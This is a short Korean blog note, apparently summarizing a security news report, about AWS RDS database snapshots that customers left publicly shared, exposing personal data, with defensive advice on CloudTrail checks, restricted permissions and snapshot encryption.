- 일부 스냅샷의 내부 데이터에까지 접근할 수 있었음
- 식별 정보 없이 노출된 스냅샷도 있었으나, 충분한 시간만 주어진다면 특정 개인을 식별할 수 있음
① 스냅샷을 통해 어떤 계정에 의해 생성 및 관리되는지 파악 가능
② 스냅샷 메타데이터 MasterUsername 필드 : DB 사용자 이름이 저장 - 주로 관리자나 회사 이름이 기입

- DB가 전체 공개로 유지된 시간과, 그 기간 동안 발생한 다운로드 시도 회수에 대해 알 방법이 현재로서는 존재하지 않음
대응 - RDS 서비스를 사용하나 스냅샷이 전체 공개 되어 있는 사실을 인지하지 못하며, 점검 조차 하지않음
- 따라서 아마존이 해당 고객사에 연락을 취하거나, 고객사들의 발 빠른 대응이 요구됨

- 클라우드트레일(CloudTrail)이라는 로그를 점검해 어떤 스냅샷이 언제 누구에 의해 전체 공개로 전환되었는지 확인할 필요

- RDS 스냅샷이 전체 공개로 전환되는 일을 막으려면 그러한 전환의 권한을 소수의 관리자들에게만 부여하며, 관리자들 사이에서만 엄격하게 공유

- 스냅샷 전체를 암호화하는 경우 공격자들이 스냅샷을 복제해 가더라도 사용할 수 없게 됨

 

보안뉴스

 

아마존의 백업 기능 잘못 사용한 사용자들, 개인 식별 정보 대규모로 노출

아마존의 클라우드 기반 데이터 백업 기능을 잘못 활용한 사용자들이, 자신도 모르게 개인정보를 인터넷에 노출시키고 있다는 사실이 발견됐다. 수많은 개인을 특정할 수 있을 만한 정보들이

www.boannews.com

+ Recent posts